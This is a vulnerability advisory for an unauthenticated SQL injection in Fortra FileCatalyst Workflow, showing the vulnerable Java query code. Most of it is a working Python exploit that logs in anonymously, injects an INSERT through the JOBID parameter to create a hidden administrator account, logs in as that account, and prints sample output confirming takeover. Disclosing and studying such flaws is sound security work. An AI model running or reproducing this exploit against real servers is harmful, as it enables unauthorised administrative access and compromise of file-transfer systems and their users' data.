A SQL injection vulnerability exists in Fortra FileCatalyst Workflow v5.1.6 build 135 and earlier.
A user-supplied jobID is used to form the WHERE clause in an SQL query:
// class unlimited.core.l.p
public xc findJob(String jobID) {
if (jobID == null)
return null;
if (jobID.equals(""))
return null;
b query = new b("*", xc.ps, xc.yr + "='" + jobID + "'");
xc pjret = null;
ResultSet rs = null;
Connection conn = this.hb.getDatabaseSettings().we().b();
try {
rs = this.mb.b((e)query, conn);
[...]
// class unlimited.core.l.c.b.b.b constructor
public b(String columns, String from, String where) {
this(columns, from, where, -1);
}
[...]
An anonymous remote attacker can perform SQLi via the JOBID parameter in various URL endpoints of the workflow web application.
Proof of Concept
import requests
import argparse
import re
import sys
def anon_logon(s, host, port, ctxpath):
try:
r = s.get(f'{host}:{port}{ctxpath}')
# Find session token
pat = '\/workflow\/jsp\/logon.jsp;jsessionid=[A-Za-z0-9]+'
if(re.search(pat, r.text) is None):
print('[-] Failed get logon URL.')
return False
# Redirect to login page
logon_url = re.findall(pat, r.text)[0]
r = s.get(f'{host}:{port}{logon_url}')
# Perform anonymous login
pat = '\/workflow\/logonAnonymous.do\?FCWEB.FORM.TOKEN=[A-Za-z0-9]+'
if(re.search(pat,r.text) is None):
print('[-] Failed to get anonymous login URL. Check anonymous login is enabled.')
return False
anon_logon_url = re.findall(pat, r.text)[0]
r = s.get(f'{host}:{port}{anon_logon_url}')
if r.status_code != 200:
print('[-] Anonymous login failed. Check anonymous login is enabled.')
return False
return True
except requests.exceptions.RequestException as e:
print(f'[-] Exception occurred: \n {e}')
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target', help='target hostname or IP address (include http:// or https://)', required=True)
parser.add_argument('-p','--port', type=int, default=80, help='target port (Default: %(default)s)')
parser.add_argument('-c','--ctxpath', default='/workflow', help='Context path for the FileCatalyst Workflow webapp (Default: %(default)s)')
args = parser.parse_args()
host = args.target
port = args.port
ctxpath = args.ctxpath
s = requests.Session()
print(f'[*] Logging in anonymously')
if not anon_logon(s, host, port, ctxpath):
sys.exit('[-] Failed to login anonymously.')
print(f'[+] Anonymous login OK')
# Add admin user 'opeartor' with password 'password123'
# Works for HSQLDB
url = f'{host}:{port}{ctxpath}/servlet/pdf_servlet'
user = 'operator'
password = 'password123'
print(f'[*] Performing SQLi: add admin user, name: {user}, password: {password}')
sqli = f"1';INSERT INTO DOCTERA_USERS (USERNAME, PASSWORD, ENCPASSWORD, FIRSTNAME, LASTNAME, COMPANY, ADDRESS, ADDRESS2, CITY, STATE, ALTPHONE, ZIP, COUNTRY, PHONE, FAX, EMAIL, LASTLOGIN, CREATION, PREFERREDSERVER, CREDITCARDTYPE, CREDITCARDNUMBER, CREDITCARDEXPIRY, ACCOUNTSTATUS, USERTYPE, COMMENT, ADMIN, SUPERADMIN, ACCEPTEMAIL, ALLOWHOTFOLDER, PROTOCOL, BANDWIDTH, DIRECTORY, SLOWSTARTRATE, USESLOWSTART, SLOWSTARTAGGRESSIONRATE, BLOCKSIZE, UNITSIZE, NUMENCODERS, NUMFTPSTREAMS, ALLOWUSERBANDWIDTHTUNING, EXPIRYDATE, ALLOWTEMPACCOUNTCREATION, OWNERUSERNAME, USERLEVEL, UPLOADMETHOD, PW_CHANGEABLE, PW_CREATIONDATE, PW_DAYSBEFOREEXPIRE, PW_MUSTCHANGE, PW_USEDPASSWORDS, PW_NUMERRORS) VALUES('{user}', NULL, '482C811DA5D5B4BC6D497FFA98491E38', '{user}FirstName', '{user}LastName', '', '', '', '', '', '', '', '', '202-404-2400', '', '{user}@mydomain.local', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'DEFAULT', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'DEFAULT', 0, 1714014752270, -1, 0, NULL, 0);-- -"
params = {"JOBID":f"{sqli}"}
r = s.get(url, params=params)
print(f'[*] Logging in as {user}')
# Get logon token
url = f'{host}:{port}{ctxpath}/jsp/logon.jsp'
r = s.get(url)
m = re.search('"FCWEB.FORM.TOKEN".*?value.*?"([a-zA-Z0-9]+?)"', r.text)
if m is None:
sys.exit(f'[-] Failed to get FCWEB.FORM.TOKEN')
fcweb_token = m.group(1)
# Logon
url = f'{host}:{port}{ctxpath}/logon.do'
data = {'username': user, 'password': password,'FCWEB.FORM.TOKEN': fcweb_token, 'submit':'Login'}
r = s.post(url, data=data)
if 'username/password are not correct' in r.text:
sys.exit(f'[-] Failed to login as {user}')
else:
print(f'[+] User {user} logged in')
'''
# Access protected URL
url = f'{host}:{port}{ctxpath}/jsp/about.jsp'
r = s.get(url)
print(r.status_code)
print(r.text)
'''
# python3 fcworkflow_sqli.py -t 'http(s)://<target-host>' -p 80
[*] Logging in anonymously
[+] Anonymous login OK
[*] Performing SQLi: add admin user, name: operator, password: password123
[*] Logging in as operator
[+] User operator logged in